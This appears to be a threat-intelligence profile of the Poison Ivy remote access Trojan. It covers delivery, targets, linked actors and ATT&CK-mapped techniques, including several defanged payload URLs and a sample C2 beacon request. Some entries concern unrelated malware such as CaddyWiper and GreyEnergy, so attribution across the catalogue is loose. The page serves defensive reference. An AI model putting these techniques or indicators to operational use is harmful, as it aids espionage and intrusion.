Poison Ivy
- Type
- RAT
- Capabilities
- Process injectionDefense evasionReconnaissancePost exploitation
- Delivery
- PhishingSpearphishingWatering holeExploit kitDrive by
- Platforms
- Windows
Poison Ivy, also known as PIVY and Darkmoon, is an off-the-shelf remote access Trojan for Microsoft Windows used extensively in cyberespionage. It provides covert remote access to compromised systems and has been used by multiple threat groups, including APT10, Axiom, GALLIUM, and Mustang Panda; its presence alone does not establish attribution.
Poison Ivy supports malicious DLL and shellcode injection into other processes. Its implant can execute from private executable memory, and its server component can be generated as shellcode, facilitating integration into customized loaders and obfuscated delivery chains. Analyzed deployments collect and transmit host information and use encrypted command-and-control communications. Configurations can support multiple command-and-control destinations, and campaigns have used dynamic DNS infrastructure and non-standard network ports.
Delivery methods include targeted phishing and watering-hole attacks through compromised legitimate websites. Observed infection chains have used VBScript, hidden PowerShell execution, layered Base64 encoding, and modified PowerSploit code to load Poison Ivy into memory. Other campaigns have distributed Windows executables disguised as Java archives or used an intermediate Meterpreter payload to download and execute the Trojan. These delivery mechanisms are campaign-specific rather than intrinsic propagation features.
Poison Ivy campaigns have targeted government bodies, defense and chemical companies, telecommunications providers, manufacturers, universities, financial organizations, researchers, and civil-society communities. APT10 used it in operations against Japanese academic, pharmaceutical, and manufacturing targets, while the th3bug watering-hole campaign delivered it to selected visitors of compromised websites in 2014.
Associated vulnerabilities
14 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
2 more CVEs associated with this family tracked in Mallory.
Associated threat actors
37 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Violin Panda served Poison Ivy as PYvBte.jar and AppletLow.jar in its 2014 watering hole campaign, and the mismatch between the extension and the content is what carried the payload past extension-based download policy.
(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)
+31 more in the app. View in Mallory
Techniques & procedures
73 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
2 techniques
Resource Development
The trail starts with a domain name first published in FireEye’s Poison Ivy Report as a MenuPass (APT10) affiliated domain. chromeenter[.]com ... Domain registration information for chromeenter[.]com shows that it was registered in April 2010 ... the registrant company was changed to Tianjin Tiaoyiye Technology Co Limited and the registration e-mail address was updated to gbaike[at]gmail.com.
The actors also appear to have access to legitimate servers that they use to host Bookworm and other related tools for attacks.
Initial Access
6 techniques
Initial Access
The delivery chain was described in four stages: legitimate sites compromised and injected with JavaScript that redirects the browser, staging domains alive for under 48 hours hosting exploit kits, Poison Ivy served from subdomains of legitimate-looking services, and encrypted command and control to dynamic DNS domains on non-standard ports.
the APT group changed tactics and somehow compromised the update chain of NoxPlayer. A fake update package was sent to Southeast Asian gamers.
The attackers spoofed several sender email addresses to send spear phishing emails, most notably public addresses associated with the Sasakawa Peace Foundation and The White House.
In early January 2020, we observed a file called ‘How Suleimani’s death will affect India and Pakistan.doc’. This file is a lure document that is the launch point for Operation LagTime IT.
The actors still use spear phishing as their primary attack method... The use of a URL shortening service and a redirection server further aids the chances of a successful attack, as it becomes more challenging to determine the validity of the link within an email due to the way link shorteners obfuscate link content.
Most of the attacks against academics involved webmail addresses using names of academics but are not tied to those academics openly online.
Execution
13 techniques
Execution
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
The content repeatedly describes malware and threat actors creating, modifying, or invoking Windows scheduled tasks via Task Scheduler or schtasks for persistence, execution, and lateral movement.
When this file runs, it downloads a payload from uyghurweb.net/player/gmuweb.exe and executes it.
The content of the website contained encoded VBScript that executed PowerShell commands ... as well as another encoded PowerShell script closely resembling PowerSploit ... that was responsible for decoding and launching a Poison Ivy payload.
[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can open a command-line interface.(Citation: Symantec Darkmoon Aug 2005)
Thumbs.vbs downloads a file from hxxp://203.248.116.182/images/Thumbs.bmp and runs it using msiexec.exe.
It then allocates memory buffer by calling rGHDcvkN.VirtualAlloc() and copies the code from array3 into the new memory by calling Marshal.Copy(). It eventually calls rGHDcvkN.CreateThread() to run the code up.
In code branch “0001” it decompresses the received module, then gets its code initialized, and finally adds it into the doubly linked list.
When this file is opened in a vulnerable version of Microsoft Office Word, it will exploit the vulnerability and create a file called ‘useless.wll’ in the Microsoft Word startup directory. | This RTF file contains malicious code for exploiting CVE-2018-0798 and an object called ‘8.t’.
Tactics, techniques and procedures • ATT&CK Matrix • T1204 User Execution
Unit 42 observed a new version of Poison Ivy which uses the popular search order hijacking, a/k/a “DLL Sideloading,” technique frequently seen in malware such as PlugX.
GreyEnergy chooses a service, drops a DLL file, and writes it to that serviceDLL Registry key.
They also replaced the ImagePath registry value of a Windows service with a new backdoor binary.
Persistence
8 techniques
Persistence
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
The content repeatedly describes malware and threat actors creating, modifying, or invoking Windows scheduled tasks via Task Scheduler or schtasks for persistence, execution, and lateral movement.
[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new system device.(Citation: Symantec Darkmoon Aug 2005)
The .wll file located in the Microsoft Office Word startup directory will automatically be loaded and executed when the user starts Word.
[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new service. [PoisonIvy](https://attack.mitre.org/software/S0012) also creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.(Citation: Symantec Darkmoon Aug 2005)
The Poison Ivy "useless.wll" placed in the Microsoft Word startup directory is automatically loaded and executed when Microsoft Word is started.
[PoisonIvy](https://attack.mitre.org/software/S0012) creates run key Registry entries pointing to a malicious executable dropped to disk.(Citation: Symantec Darkmoon Aug 2005)
[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry key in the Active Setup pointing to a malicious executable.(Citation: Microsoft PoisonIvy 2017)(Citation: paloalto Tropic Trooper 2016)(Citation: FireEye Regsvr32 Targeting Mongolian Gov)
Privilege Escalation
8 techniques
Privilege Escalation
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
The content repeatedly describes malware and threat actors creating, modifying, or invoking Windows scheduled tasks via Task Scheduler or schtasks for persistence, execution, and lateral movement.
The attacker used it to inject a DLL file into the compromised host, in the lsass.exe process, to execute it.
[PoisonIvy](https://attack.mitre.org/software/S0012) can inject a malicious DLL into a process.(Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Aug 2005)
[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new service. [PoisonIvy](https://attack.mitre.org/software/S0012) also creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.(Citation: Symantec Darkmoon Aug 2005)
The Poison Ivy "useless.wll" placed in the Microsoft Word startup directory is automatically loaded and executed when Microsoft Word is started.
[PoisonIvy](https://attack.mitre.org/software/S0012) creates run key Registry entries pointing to a malicious executable dropped to disk.(Citation: Symantec Darkmoon Aug 2005)
[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry key in the Active Setup pointing to a malicious executable.(Citation: Microsoft PoisonIvy 2017)(Citation: paloalto Tropic Trooper 2016)(Citation: FireEye Regsvr32 Targeting Mongolian Gov)
Stealth
19 techniques
Stealth
[PoisonIvy](https://attack.mitre.org/software/S0012) starts a rootkit from a malicious file dropped to disk.(Citation: Symantec Darkmoon Aug 2005)
[PoisonIvy](https://attack.mitre.org/software/S0012) hides any strings related to its own indicators of compromise.(Citation: Symantec Darkmoon Aug 2005)
All APIs are hidden. They are restored when being called. The snippet below is the hidden CreateRemoteThread call.
Typically, APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain... a downloader written in .NET and disguised as a legitimate system executable.
PYvBte.jar is a Windows executable wearing a Java archive name. The extension is the evasion: a control that inspects the filename and lets .jar through to the browser's download directory passes a PE file straight to the user.
The attacker used it to inject a DLL file into the compromised host, in the lsass.exe process, to execute it.
[PoisonIvy](https://attack.mitre.org/software/S0012) can inject a malicious DLL into a process.(Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Aug 2005)
If one of the named pipes cannot be created, it means one of the analysis tools is running. It then exits process soon thereafter.
The contents of the file, assuming a victim clicked on the URL in the spear-phishing email, resembles the structure used in a technique known as AppLocker Bypass whereby trusted Windows executables can be used to execute malicious payloads.
Thumbs.vbs downloads a file from hxxp://203.248.116.182/images/Thumbs.bmp and runs it using msiexec.exe.
If the string exists, it will execute again using rundll32.exe. This time, it will execute a function called ‘DllEntry10’, rather than ‘DllEntryPoint’.
[PoisonIvy](https://attack.mitre.org/software/S0012) creates a mutex using either a custom or default value.(Citation: FireEye Poison Ivy)
「主程式被 binary patch 改了一些 call function 以及加上了兩個 sections,一個是 Poison Ivy 的 shellcode,另一個是 Anti VMware」
This .wll file will first check for the existence of the string ‘WORD.EXE’ in the result of GetCommandLineA by using the strstr function.
Unit 42 observed a new version of Poison Ivy which uses the popular search order hijacking, a/k/a “DLL Sideloading,” technique frequently seen in malware such as PlugX.
GreyEnergy chooses a service, drops a DLL file, and writes it to that serviceDLL Registry key.
They also replaced the ImagePath registry value of a Windows service with a new backdoor binary.
样本对ShellCode进行解密,然后分配内存将解密后的ShellCode复制过去。随后创建一个线程...运行ShellCode。
The 9002 Trojan creates two mutexes during its execution: F16ME and widfasdf.
Defense Impairment
1 technique
Defense Impairment
[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new system device.(Citation: Symantec Darkmoon Aug 2005)
Credential Access
3 techniques
Credential Access
Poison Ivy... 可获取密码Hash值。
[PoisonIvy](https://attack.mitre.org/software/S0012) contains a keylogger.(Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Aug 2005)
The ‘o.exe’ file that was downloaded and executed by Poison Ivy is a commercial tool called ‘Outlook Password Dump v3.0’. When the tool is executed, it is possible to steal credentials stored in Microsoft Office Outlook.
Discovery
10 techniques
Discovery
获取系统服务程序信息。
[PoisonIvy](https://attack.mitre.org/software/S0012) captures window titles.(Citation: Symantec Darkmoon Aug 2005)
It gets the CPU speed from the system registry from “HKLM\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0\~MHz".
It gets the current computer name and user name by calling GetComputerName and GetUserName.
The ‘n.exe’ file that was downloaded and executed by Poison Ivy is a public NBTScan tool. When the tool is executed, it is possible to scan for hosts on the target network.
获取系统进程信息,结束进程,挂起进程等。
mt1.exe... 如获取系统信息... Poison Ivy... 可以获取系统基本信息。
「主程式被 binary patch 改了一些 call function 以及加上了兩個 sections,一個是 Poison Ivy 的 shellcode,另一個是 Anti VMware」
This .wll file will first check for the existence of the string ‘WORD.EXE’ in the result of GetCommandLineA by using the strstr function.
The 9002 Trojan creates two mutexes during its execution: F16ME and widfasdf.
Lateral Movement
3 techniques
Lateral Movement
通过NC开启远程Shell实现对目标主机远程命令控制; 可执行远程shell,执行任意命令。
This is a checker to investigate whether it can be compromised by exploiting MS17-010 against the host passed as an argument. An attacker who finds a laterally deployable host with ‘s.exe’ then uses the ‘w.exe’ contained in ‘w.cab’ to do the actual compromise.
The w.exe tool sends x86.dll or x64.dll in the same directory to the target host depending on the environment and injects it into the lsass.exe process.
Collection
7 techniques
Collection
[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can steal system information.(Citation: Symantec Darkmoon Aug 2005)
[PoisonIvy](https://attack.mitre.org/software/S0012) contains a keylogger.(Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Aug 2005)
The content repeatedly describes adversaries and malware storing collected data, command output, credentials, archives, or files in local temporary folders, working directories, hidden directories, registry locations, recycle bins, or specific files prior to exfiltration.
[PoisonIvy](https://attack.mitre.org/software/S0012) stages collected data in a text file.(Citation: Symantec Darkmoon Aug 2005)
Poison Ivy... 可获取屏幕截图。
Poison Ivy... 可打开摄像头进行监控。
Collected files were then added to encrypted archives and exfiltrated to remote servers owned by APT10.
Command and Control
10 techniques
Command and Control
this new version generates a payload that has been prepended with anywhere from 1 to 16 bytes of pseudo-random data... the remainder of the protocol remains unchanged.
After that, it communicates with the C&C server just like the first Poison Ivy.
GET /j/news.asp?id=* HTTP/1.1 User-Agent: flag:khi host:Business IP:10.0.0.51 OS:XPSP3 vm:.. proxy:.. Host: online.cleansite.us
Once successfully connected to the destination machine, the malware then serves as a middleman that keeps transferring the two sockets’ data between the C&C server and the destination machine (like man-in-the-middle does).
[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can upload files.(Citation: Symantec Darkmoon Aug 2005)
Useful starting points are MITRE ATT&CK techniques for remote access software (T1219)
The C&C server’s IP addresses and ports are encrypted and saved on the PasteBin website... The author of this malware can update these IP addresses and Ports by simply updating the python codes on the four PasteBin pages.
Use of a large number of Dynamic DNS (DDNS) domains which form part of overlapping infrastructure clusters
The content is a catalog of malware and threat groups that encrypt command-and-control communications using algorithms such as DES, AES, RC4, XOR, Blowfish, RSA, Camellia, RC2, RC6, and custom ciphers.
[PoisonIvy](https://attack.mitre.org/software/S0012) uses the Camellia cipher to encrypt communications.(Citation: FireEye Poison Ivy)
Exfiltration
1 technique
Exfiltration
MITRE ... Exfiltration T1041 Exfiltration Over C2 Channel
Observables
254 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
157 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.